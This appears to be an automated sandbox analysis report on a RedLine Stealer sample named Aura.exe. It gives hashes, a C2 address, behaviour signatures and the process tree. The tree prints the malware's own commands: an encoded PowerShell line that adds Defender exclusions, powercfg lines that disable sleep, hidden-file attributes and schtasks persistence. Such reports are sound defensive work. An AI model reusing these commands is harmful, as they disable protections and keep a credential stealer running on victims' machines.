Resubmissions
29-06-2024 09:31
240629-lg563sxglj 1029-06-2024 09:28
240629-lfeyhaxfrk 1029-06-2024 09:23
240629-lcqktsxfmk 10Analysis
-
max time kernel
254s -
max time network
202s -
platform
windows11-21h2_x64 -
resource
win11-20240611-en -
resource tags
arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system -
submitted
29-06-2024 09:31
Static task
static1
Behavioral task
behavioral1
Sample
Aura.exe
Resource
win11-20240611-en
General
-
Target
Aura.exe
-
Size
493KB
-
MD5
7e7b8be8a1f1ef05c932ea1e8eab6590
-
SHA1
f790227a5148d6cba037c24643306f330c6fe5f4
-
SHA256
c7383b039d569cc256026d6b7985bb763f36530708bca3e4f82fa130d2d7dfbb
-
SHA512
c57fc80bf97309ca887c88526fc586b080d47c4f2ebe611d40f94f48c0af2b7c56cec19f0379a5bc27bd6a0e2f75bdb7953c05bcc1069633812bbd22649ef890
-
SSDEEP
12288:qGlz1vS9p1+kOwILHmKfZcBg688m/Iezfihoto8:qyNSgJqBg6NmAeehn
Malware Config
Extracted
redline
@hitok4111
94.228.166.68:80
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4940-1-0x0000000000400000-0x0000000000450000-memory.dmp family_redline -
Downloads MZ/PE file
-
Executes dropped EXE 9 IoCs
Processes:
conhost.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exeInstaller.exepid process 952 conhost.exe 2892 7z.exe 1504 7z.exe 4596 7z.exe 5056 7z.exe 4688 7z.exe 916 7z.exe 3484 7z.exe 1136 Installer.exe -
Loads dropped DLL 7 IoCs
Processes:
7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exepid process 2892 7z.exe 1504 7z.exe 4596 7z.exe 5056 7z.exe 4688 7z.exe 916 7z.exe 3484 7z.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Power Settings 1 TTPs 1 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
Aura.exedescription pid process target process PID 1952 set thread context of 4940 1952 Aura.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1692 1952 WerFault.exe Aura.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3132 schtasks.exe 1804 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
RegAsm.exeInstaller.exepowershell.exepid process 4940 RegAsm.exe 4940 RegAsm.exe 4940 RegAsm.exe 1136 Installer.exe 1840 powershell.exe 1840 powershell.exe 1136 Installer.exe 1136 Installer.exe 1136 Installer.exe 1136 Installer.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
RegAsm.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exeInstaller.exepowershell.exedescription pid process Token: SeDebugPrivilege 4940 RegAsm.exe Token: SeRestorePrivilege 2892 7z.exe Token: 35 2892 7z.exe Token: SeSecurityPrivilege 2892 7z.exe Token: SeSecurityPrivilege 2892 7z.exe Token: SeRestorePrivilege 1504 7z.exe Token: 35 1504 7z.exe Token: SeSecurityPrivilege 1504 7z.exe Token: SeSecurityPrivilege 1504 7z.exe Token: SeRestorePrivilege 4596 7z.exe Token: 35 4596 7z.exe Token: SeSecurityPrivilege 4596 7z.exe Token: SeSecurityPrivilege 4596 7z.exe Token: SeRestorePrivilege 5056 7z.exe Token: 35 5056 7z.exe Token: SeSecurityPrivilege 5056 7z.exe Token: SeSecurityPrivilege 5056 7z.exe Token: SeRestorePrivilege 4688 7z.exe Token: 35 4688 7z.exe Token: SeSecurityPrivilege 4688 7z.exe Token: SeSecurityPrivilege 4688 7z.exe Token: SeRestorePrivilege 916 7z.exe Token: 35 916 7z.exe Token: SeSecurityPrivilege 916 7z.exe Token: SeSecurityPrivilege 916 7z.exe Token: SeRestorePrivilege 3484 7z.exe Token: 35 3484 7z.exe Token: SeSecurityPrivilege 3484 7z.exe Token: SeSecurityPrivilege 3484 7z.exe Token: SeDebugPrivilege 1136 Installer.exe Token: SeDebugPrivilege 1840 powershell.exe -
Suspicious use of WriteProcessMemory 55 IoCs
Processes:
Aura.exeRegAsm.execonhost.execmd.exeInstaller.execmd.execmd.execmd.exedescription pid process target process PID 1952 wrote to memory of 2312 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 2312 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 2312 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 1952 wrote to memory of 4940 1952 Aura.exe RegAsm.exe PID 4940 wrote to memory of 952 4940 RegAsm.exe conhost.exe PID 4940 wrote to memory of 952 4940 RegAsm.exe conhost.exe PID 4940 wrote to memory of 952 4940 RegAsm.exe conhost.exe PID 952 wrote to memory of 1180 952 conhost.exe cmd.exe PID 952 wrote to memory of 1180 952 conhost.exe cmd.exe PID 1180 wrote to memory of 128 1180 cmd.exe mode.com PID 1180 wrote to memory of 128 1180 cmd.exe mode.com PID 1180 wrote to memory of 2892 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 2892 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 1504 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 1504 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 4596 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 4596 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 5056 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 5056 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 4688 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 4688 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 916 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 916 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 3484 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 3484 1180 cmd.exe 7z.exe PID 1180 wrote to memory of 4544 1180 cmd.exe attrib.exe PID 1180 wrote to memory of 4544 1180 cmd.exe attrib.exe PID 1180 wrote to memory of 1136 1180 cmd.exe Installer.exe PID 1180 wrote to memory of 1136 1180 cmd.exe Installer.exe PID 1180 wrote to memory of 1136 1180 cmd.exe Installer.exe PID 1136 wrote to memory of 3576 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 3576 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 3576 1136 Installer.exe cmd.exe PID 3576 wrote to memory of 1840 3576 cmd.exe powershell.exe PID 3576 wrote to memory of 1840 3576 cmd.exe powershell.exe PID 3576 wrote to memory of 1840 3576 cmd.exe powershell.exe PID 1136 wrote to memory of 2688 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 2688 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 2688 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 3828 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 3828 1136 Installer.exe cmd.exe PID 1136 wrote to memory of 3828 1136 Installer.exe cmd.exe PID 2688 wrote to memory of 3132 2688 cmd.exe schtasks.exe PID 2688 wrote to memory of 3132 2688 cmd.exe schtasks.exe PID 2688 wrote to memory of 3132 2688 cmd.exe schtasks.exe PID 3828 wrote to memory of 1804 3828 cmd.exe schtasks.exe PID 3828 wrote to memory of 1804 3828 cmd.exe schtasks.exe PID 3828 wrote to memory of 1804 3828 cmd.exe schtasks.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Aura.exe"C:\Users\Admin\AppData\Local\Temp\Aura.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\conhost.exe"C:\Users\Admin\AppData\Local\Temp\conhost.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mode.commode 65,105⤵
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p1404753551733818025492326517 -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\attrib.exeattrib +H "Installer.exe"5⤵
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Local\Temp\main\Installer.exe"Installer.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C powershell -EncodedCommand "PAAjAHUAMQBqAGQAVQBBAHkATQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADkAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBuAG0ATABMADIAZgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBaAFMAcAAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off6⤵
- Power Settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAHUAMQBqAGQAVQBBAHkATQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADkAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBuAG0ATABMADIAZgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBaAFMAcAAjAD4A"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"7⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6749" /TR "C:\ProgramData\Dllhost\dllhost.exe"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6749" /TR "C:\ProgramData\Dllhost\dllhost.exe"7⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1952 -s 3242⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1952 -ip 19521⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yn1phusp.vkm.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\conhost.exeFilesize
2.5MB
MD5b2e6a3d0bf3320b759c464ae6fa5b735
SHA1cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1
SHA256771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3
SHA512bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a
-
C:\Users\Admin\AppData\Local\Temp\main\7z.dllFilesize
1.6MB
MD572491c7b87a7c2dd350b727444f13bb4
SHA11e9338d56db7ded386878eab7bb44b8934ab1bc7
SHA25634ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
SHA512583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exeFilesize
458KB
MD5619f7135621b50fd1900ff24aade1524
SHA16c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA256344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
SHA5122c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628
-
C:\Users\Admin\AppData\Local\Temp\main\Installer.exeFilesize
21KB
MD54265bf9f9535ebb4e1830e2a50589285
SHA1ddc45fe277a3b39179dd9e39e17d71b50a184607
SHA256c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403
SHA5123a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DATFilesize
2.2MB
MD56dd7f70cddc4310e047032d70550f72c
SHA1e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562
SHA256e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d
SHA5121e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zipFilesize
9KB
MD518f4fe969c4ba0517b403e28f7ad2b72
SHA19df09751ee1246db2ed6b6ed6fec87fb0891e077
SHA25606d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4
SHA5129847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zipFilesize
9KB
MD5a915fd2a4e2750ee9003e628294bf284
SHA1f9adc1e65fc3d2cf39b2c5a89030f3225e21616d
SHA2565e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285
SHA512044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zipFilesize
9KB
MD54a5f569872c858ede1c0c67500cfdd6d
SHA1cdcac69d89b45a7903198467c2d2d32126c31661
SHA25688b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc
SHA512d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zipFilesize
9KB
MD56f7f4f7ed739e3ac5eee8d0876ff76d4
SHA19a65d52885624dc47f342b5a9875d7720540c755
SHA256b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc
SHA51235cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zipFilesize
9KB
MD5870a5535c79edcf782551514f48d89ab
SHA1333d814d65753cdc4c4e8fb587c09af6960110d1
SHA256814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d
SHA512f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06
-
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zipFilesize
1.6MB
MD5a62944686498212b290eae637729a151
SHA12053660850d3f578f7b31e5ced16069d6f9c4ee0
SHA2560bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e
SHA512ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3
-
C:\Users\Admin\AppData\Local\Temp\main\file.binFilesize
1.6MB
MD5716459a6ceac7d310d4227ea3e9ddb59
SHA1fa27addf18c197bf5fc054bfb5ae57de1caf3382
SHA256ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1
SHA5123857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1
-
C:\Users\Admin\AppData\Local\Temp\main\main.batFilesize
474B
MD5893874465a8d9f68f0684fd61e9f1d3c
SHA1866a58255ebab05d4ee2f2ed8383a6555ac1df03
SHA256e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0
SHA5121cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7
-
memory/1136-90-0x0000000000680000-0x000000000068C000-memory.dmpFilesize
48KB
-
memory/1840-106-0x0000000006D00000-0x0000000006D34000-memory.dmpFilesize
208KB
-
memory/1840-118-0x00000000075F0000-0x0000000007C6A000-memory.dmpFilesize
6.5MB
-
memory/1840-132-0x00000000072F0000-0x00000000072F8000-memory.dmpFilesize
32KB
-
memory/1840-128-0x0000000007300000-0x000000000731A000-memory.dmpFilesize
104KB
-
memory/1840-127-0x0000000007210000-0x0000000007225000-memory.dmpFilesize
84KB
-
memory/1840-126-0x0000000007200000-0x000000000720E000-memory.dmpFilesize
56KB
-
memory/1840-122-0x00000000071C0000-0x00000000071D1000-memory.dmpFilesize
68KB
-
memory/1840-121-0x0000000007240000-0x00000000072D6000-memory.dmpFilesize
600KB
-
memory/1840-120-0x0000000007040000-0x000000000704A000-memory.dmpFilesize
40KB
-
memory/1840-119-0x0000000006FB0000-0x0000000006FCA000-memory.dmpFilesize
104KB
-
memory/1840-117-0x0000000006D70000-0x0000000006E14000-memory.dmpFilesize
656KB
-
memory/1840-116-0x0000000006D40000-0x0000000006D5E000-memory.dmpFilesize
120KB
-
memory/1840-107-0x0000000072860000-0x00000000728AC000-memory.dmpFilesize
304KB
-
memory/1840-105-0x0000000006050000-0x000000000609C000-memory.dmpFilesize
304KB
-
memory/1840-104-0x0000000005B50000-0x0000000005B6E000-memory.dmpFilesize
120KB
-
memory/1840-103-0x0000000005690000-0x00000000059E7000-memory.dmpFilesize
3.3MB
-
memory/1840-91-0x0000000002370000-0x00000000023A6000-memory.dmpFilesize
216KB
-
memory/1840-92-0x0000000004F10000-0x000000000553A000-memory.dmpFilesize
6.2MB
-
memory/1840-93-0x0000000004DA0000-0x0000000004DC2000-memory.dmpFilesize
136KB
-
memory/1840-94-0x00000000055B0000-0x0000000005616000-memory.dmpFilesize
408KB
-
memory/1952-0-0x0000000000CE0000-0x0000000000CE1000-memory.dmpFilesize
4KB
-
memory/4940-15-0x000000000AE40000-0x000000000B36C000-memory.dmpFilesize
5.2MB
-
memory/4940-7-0x0000000006C30000-0x0000000007248000-memory.dmpFilesize
6.1MB
-
memory/4940-4-0x0000000005690000-0x0000000005722000-memory.dmpFilesize
584KB
-
memory/4940-2-0x000000007431E000-0x000000007431F000-memory.dmpFilesize
4KB
-
memory/4940-8-0x00000000083F0000-0x00000000084FA000-memory.dmpFilesize
1.0MB
-
memory/4940-6-0x0000000074310000-0x0000000074AC1000-memory.dmpFilesize
7.7MB
-
memory/4940-3-0x0000000005BA0000-0x0000000006146000-memory.dmpFilesize
5.6MB
-
memory/4940-1-0x0000000000400000-0x0000000000450000-memory.dmpFilesize
320KB
-
memory/4940-5-0x0000000005640000-0x000000000564A000-memory.dmpFilesize
40KB
-
memory/4940-9-0x0000000006B20000-0x0000000006B32000-memory.dmpFilesize
72KB
-
memory/4940-10-0x0000000006B80000-0x0000000006BBC000-memory.dmpFilesize
240KB
-
memory/4940-11-0x0000000006BD0000-0x0000000006C1C000-memory.dmpFilesize
304KB
-
memory/4940-12-0x0000000009330000-0x0000000009396000-memory.dmpFilesize
408KB
-
memory/4940-13-0x0000000009900000-0x0000000009950000-memory.dmpFilesize
320KB
-
memory/4940-14-0x000000000A740000-0x000000000A902000-memory.dmpFilesize
1.8MB
-
memory/4940-38-0x0000000074310000-0x0000000074AC1000-memory.dmpFilesize
7.7MB